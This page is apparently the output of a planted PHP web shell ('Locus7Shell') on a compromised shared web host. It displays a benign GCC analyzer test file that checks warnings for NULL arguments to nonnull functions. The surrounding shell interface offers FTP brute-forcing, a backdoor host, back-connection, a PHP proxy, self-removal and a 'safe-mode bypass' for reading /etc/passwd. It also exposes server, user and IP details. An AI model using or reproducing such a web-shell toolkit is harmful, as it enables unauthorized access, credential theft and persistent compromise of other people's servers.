Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/analyzer/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     attribute-nonnull.c (3.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include "analyzer-decls.h"

#include <stdlib.h>

extern void foo(void *ptrA, void *ptrB, void *ptrC) /* { dg-message "argument 1 of 'foo' must be non-null" } */
  __attribute__((nonnull (1, 3)));

extern void bar(void *ptrA, void *ptrB, void *ptrC) /* { dg-message "argument 1 of 'bar' must be non-null" } */
  __attribute__((nonnull));

// TODO: complain about NULL and possible NULL args
// FIXME: ought to complain about NULL args

void test_1 (void *p, void *q, void *r)
{
  foo(p, q, r);
  foo(NULL, q, r); /* { dg-warning "use of NULL where non-null expected" "warning" } */
  /* { dg-message "argument 1 NULL where non-null expected" "note" { target *-*-* } .-1 } */
  foo(p, NULL, r);
  foo(p, q, NULL); /* { dg-warning "use of NULL where non-null expected" } */
}

void test_1a (void *q, void *r)
{
  void *p = NULL;
  foo(p, q, r); /* { dg-warning "use of NULL 'p' where non-null expected" "warning" } */
  /* { dg-message "argument 1 \\('p'\\) NULL where non-null expected" "note" { target *-*-* } .-1 } */
}

void test_2 (void *p, void *q, void *r)
{
  bar(p, q, r);
  bar(NULL, q, r); /* { dg-warning "use of NULL where non-null expected" "warning" } */
  bar(p, NULL, r); /* { dg-warning "use of NULL where non-null expected" "warning" } */
  /* { dg-message "argument 2 NULL where non-null expected" "note" { target *-*-* } .-1 } */
  bar(p, q, NULL); /* { dg-warning "use of NULL where non-null expected" "warning" } */
}

void test_3 (void *q, void *r)
{
  void *p = malloc(1024); /* { dg-message "\\(1\\) this call could return NULL" } */

  foo(p, q, r); /* { dg-warning "use of possibly-NULL 'p' where non-null expected" "warning" } */
  /* { dg-message "argument 1 \\('p'\\) from \\(1\\) could be NULL where non-null expected" "note" { target *-*-* } .-1 } */

  foo(p, q, r);

  free(p);
}

void test_4 (void *q, void *r)
{
  void *p = malloc(1024); /* { dg-message "\\(1\\) this call could return NULL" } */

  bar(p, q, r); /* { dg-warning "use of possibly-NULL 'p' where non-null expected" "warning" } */
  /* { dg-message "argument 1 \\('p'\\) from \\(1\\) could be NULL where non-null expected" "note" { target *-*-* } .-1 } */

  bar(p, q, r);

  free(p);
}

/* Verify that we detect passing NULL to a __attribute__((nonnull)) function
   when it's called via a function pointer.  */

typedef void (*bar_t)(void *ptrA, void *ptrB, void *ptrC);

static bar_t __attribute__((noinline))
get_bar (void)
{
  return bar;
}

void test_5 (void *q, void *r)
{
  void *p = malloc(1024); /* { dg-message "\\(1\\) this call could return NULL" } */
  bar_t cb = get_bar ();
  cb(p, q, r); /* { dg-warning "use of possibly-NULL 'p' where non-null expected" "warning" } */
  /* { dg-message "argument 1 \\('p'\\) from \\(1\\) could be NULL where non-null expected" "note" { target *-*-* } .-1 } */
  /* TODO: do we want an event showing where cb is assigned "bar"?  */

  cb(p, q, r);

  free(p);
}

__attribute__((nonnull(1, 3)))
void test_6 (void *p, void *q, void *r)
{
  __analyzer_eval (p != NULL); /* { dg-warning "TRUE" } */
  __analyzer_eval (q != NULL); /* { dg-warning "UNKNOWN" } */
  __analyzer_eval (r != NULL); /* { dg-warning "TRUE" } */
}

__attribute__((nonnull))
void test_7 (void *p, void *q, void *r)
{
  __analyzer_eval (p != NULL); /* { dg-warning "TRUE" } */
  __analyzer_eval (q != NULL); /* { dg-warning "TRUE" } */
  __analyzer_eval (r != NULL); /* { dg-warning "TRUE" } */
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.006 ]--